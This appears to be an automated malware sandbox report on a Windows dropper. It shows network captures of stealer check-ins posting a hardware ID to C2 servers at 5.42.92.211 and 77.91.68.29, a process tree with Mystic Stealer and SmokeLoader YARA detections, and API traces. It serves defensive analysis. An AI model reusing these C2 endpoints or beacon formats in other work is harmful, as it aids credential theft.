Sep 23, 2023 17:53:19.872878075 CEST	6987	IN	Data Raw: 4a 39 42 6d 03 37 12 33 5e 32 3a 64 5e 62 07 2b 5c 5d 05 2f 43 71 5d 2d 09 76 3c 24 4f 78 5e 2c 06 39 49 6d 02 37 42 33 5e 32 76 64 16 62 07 2b 5b 5d 06 2f 44 71 11 2d 58 76 6e 24 19 78 55 2c 4e 39 41 6d 34 37 e9 ff 26 0f 51 b3 d0 5e 55 18 0b 62 Data Ascii: J9Bm73^2:d^b+\]/Cq]-v<$Ox^,9Im7B3^2vdb+[]/Dq-Xvn$xU,N9Am47&Q^Ubv/9q<-rv$%x!,j9>mu7c3/2d6b(+l]j/5q1-qv$8x>,j9$mq7{3.2d b6+t]t//qp-=v]$G_xypm4$3j"Mbuvqq-=vzxm,+9F47%3j2Osbg+8]vqq-=vzxm,+9mG7L327db\+]
Sep 23, 2023 17:53:19.872926950 CEST	6989	IN	Data Raw: 24 33 6a 32 14 64 1d 62 46 2b 5c 5d 50 2f 02 71 1f 2d 48 76 2f 24 5a 78 1c 2c 4a 39 17 6d 51 37 24 33 6a 32 5b 64 73 62 66 2b 38 5d 7b 2f 13 71 07 2d 1d 76 2f 24 1f 78 0f 2c 5f 39 50 6d 1c 37 01 33 0e 32 77 64 53 62 43 2b 5c 5d 19 2f 56 71 55 2d Data Ascii: $3j2dbF+\]P/q-Hv/$Zx,J9mQ7$3j2[dsbf+8]{/q-v/$x,_9Pm732wdSbC+\]/VqU-Yvq$ZxI,O9Ym7M32{db+]Q/q-Mv1$x,9@mL73Z2cdbf+8]g/q-Hv/$x,E9m7B324dbF+\]P/q-Hv/$Zx,D9Pm7@3j2[dsbf+8]q/q-Mv1$x,9m\7E32<dbF+v]z/"qP-\
Sep 23, 2023 17:53:19.872942924 CEST	6990	IN	Data Raw: 7e 62 6c 2b 31 5d 3c 2f 7f 71 4c 2d 4a 76 3e 24 09 78 56 2c 79 39 15 6d 50 37 70 33 38 32 18 64 53 62 21 2b 59 5d 58 2f 1b 71 11 2d 00 76 7f 24 5f 78 0a 2c 09 39 50 6d 73 37 45 33 03 32 35 64 4e 62 44 2b 1d 5d 53 2f 54 71 50 2d 72 76 3b 24 1c 78 Data Ascii: ~bl+1]</qL-Jv>$xV,y9mP7p382dSb!+Y]X/q-v$_x,9Pms7E325dNbD+]S/TqP-rv;$x,N9m73H2kd]bV+]/Hq}-7vT$sxe,9mW7W3P2db+]][/"q"-~v}$=x,F9mU73H2~dbD+]r/q-Sv`$XxI,M9Rm7k32=db+L]/KqR-vs$JxN,9Nm97.3c2RdzbZ+O]V/qJ-v1$x
Sep 23, 2023 17:53:20.176292896 CEST	6991	IN	Data Raw: 52 2f 59 71 1d 2d 5c 76 2f 24 11 78 19 2c 5b 39 5d 6d 57 37 4b 33 07 32 2b 64 12 62 12 2b 51 5d 57 2f 1f 71 1c 2d 54 76 29 24 03 78 43 2c 19 39 40 6d 04 37 12 33 48 32 51 64 56 62 12 2b 55 5d 56 2f 4c 71 39 2d 5a 76 33 24 15 78 1e 2c 4a 39 12 6d Data Ascii: R/Yq-\v/$x,[9]mW7K32+db+Q]W/q-Tv)$xC,9@m73H2QdVb+U]V/Lq9-Zv3$x,J9mX7A3W2ydb+T]/\|qU-Ivc$pxf,9m7G326dIb6+J]Z/q-Qv8$4x,F9m7.3O2/dVb+]B/q-v$x,_9PmL7I32adb+V]R/KqR-vl$XxR,9Bm7328db\+l]P/q-vW$_x,9_mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49787	5.42.92.211	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:21.189322948 CEST	7161	OUT	POST /loghub/master HTTP/1.1 Content-Type: multipart/form-data; boundary=Zy9OZvxFrT3sPJTJKneS Content-Length: 213 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Host: 5.42.92.211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 2d 2d 0d 0a Data Ascii: --Zy9OZvxFrT3sPJTJKneSContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Zy9OZvxFrT3sPJTJKneSContent-Disposition: form-data; name="build"c3VrYWg=--Zy9OZvxFrT3sPJTJKneS--
Sep 23, 2023 17:53:22.464776993 CEST	7838	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Sep 2023 15:53:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: same-origin
Sep 23, 2023 17:53:22.464791059 CEST	7838	IN	Data Raw: 54 6b 38 4e 43 67 3d 3d Data Ascii: Tk8NCg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49810	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:26.041968107 CEST	15216	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jfakwchofb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: 77.91.68.29
Sep 23, 2023 17:53:26.041996002 CEST	15217	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a1 d5 f3 c9 39 df 28 fc e6 5c 8d 4d Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9(\M{rGSc$G`,jF(rk# N,XD$Hf(Sw#/W:<cNuD+G`,-{bxLofQ}I+nVz,l+%rg&_ig7N<?zi'
Sep 23, 2023 17:53:26.376398087 CEST	15397	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:26.416420937 CEST	15432	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cpvmh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 358 Host: 77.91.68.29
Sep 23, 2023 17:53:26.416472912 CEST	15433	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a6 d5 f3 c9 38 df 28 fc d7 55 fd 45 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(UE,`]s`w~98#V?y(X9yuAQp?,_zt6al:s^ibRHA`%mG%*je=1#lx+d$c;v-64z`v7$)
Sep 23, 2023 17:53:26.745879889 CEST	15862	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 48 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 4b eb 0e a1 11 2d cf 0a cc e8 60 b1 Data Ascii: H>99$JYWskI8qK-`

Target ID:	0
Start time:	17:52:01
Start date:	23/09/2023
Path:	C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Imagebase:	0x800000
File size:	1'088'512 bytes
MD5 hash:	6BF4C9D2B8DBD206C60CA8CD78C66141
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:52:01
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe
Imagebase:	0x9a0000
File size:	984'576 bytes
MD5 hash:	D9F040D855D241E47DE3A1453BA55A1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs Detection: 70%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:52:01
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe
Imagebase:	0xaf0000
File size:	674'304 bytes
MD5 hash:	8C88F4E2A9CBD0F50308ECFBF2682492
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 78%, ReversingLabs Detection: 72%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:52:01
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe
Imagebase:	0x1130000
File size:	396'288 bytes
MD5 hash:	B632113C967BF119C2FFB113D0EC60C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:52:02
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe
Imagebase:	0x210000
File size:	11'933 bytes
MD5 hash:	C8A8CEA45E9B40590620ED7BE3A231AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:52:10
Start date:	23/09/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff751cd0000
File size:	69'632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:52:12
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe
Imagebase:	0x9c0000
File size:	717'176 bytes
MD5 hash:	4512B6C7E1F51DB836D1540F2C9A75AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MysticStealer_1, Description: Yara detected Mystic Stealer, Source: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:52:12
Start date:	23/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:52:19
Start date:	23/09/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x810000
File size:	69'632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:52:21
Start date:	23/09/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x2f0000
File size:	102'568 bytes
MD5 hash:	4DF5F963C7E18F062E49870D0AFF8F6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MysticStealer_1, Description: Yara detected Mystic Stealer, Source: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:52:21
Start date:	23/09/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 632
Imagebase:	0xf00000
File size:	434'592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:52:22
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:52:24
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe
Imagebase:	0x3b0000
File size:	547'192 bytes
MD5 hash:	9B45E6934F5BC977E2A1A36B641EFAD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:52:24
Start date:	23/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:52:26
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	17:52:27
Start date:	23/09/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x2f0000
File size:	102'568 bytes
MD5 hash:	4DF5F963C7E18F062E49870D0AFF8F6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:52:27
Start date:	23/09/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x2f0000
File size:	102'568 bytes
MD5 hash:	4DF5F963C7E18F062E49870D0AFF8F6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:52:27
Start date:	23/09/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 140
Imagebase:	0xf00000
File size:	434'592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:52:27
Start date:	23/09/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\
Imagebase:	0x7ff751cd0000
File size:	69'632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:52:32
Start date:	23/09/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff761ba0000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	17:52:38
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	17:52:38
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:52:39
Start date:	23/09/2023
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff70fa80000
File size:	163'336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	17:52:39
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	17:52:39
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	17:52:40
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	17:52:44
Start date:	23/09/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7c1200000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:52:57
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Roaming\fahrbrd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fahrbrd
Imagebase:	0x90000
File size:	102'568 bytes
MD5 hash:	4DF5F963C7E18F062E49870D0AFF8F6F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:53:12
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\3F93.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3F93.exe
Imagebase:	0xf30000
File size:	950'784 bytes
MD5 hash:	F6FE596CB820A7D48DF6F79A66112644
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:53:12
Start date:	23/09/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
Imagebase:	0xc40000
File size:	846'336 bytes
MD5 hash:	38EED433351602811990E57317F5A52E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	28.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.1%
Total number of Nodes:	960
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00803BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00803C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00803CDC

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00808C42), ref: 00803D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00803E26
FreeLibrary.KERNEL32(00000000,?,00808C42), ref: 00803EFF
LocalFree.KERNEL32(?,?,?,?,00808C42), ref: 00803F1F
FreeLibrary.KERNEL32(00000000,?,00808C42), ref: 00803F40
LocalFree.KERNEL32(?,?,?,?,00808C42), ref: 00803F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00808C42), ref: 00803F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00808C42), ref: 00803F80
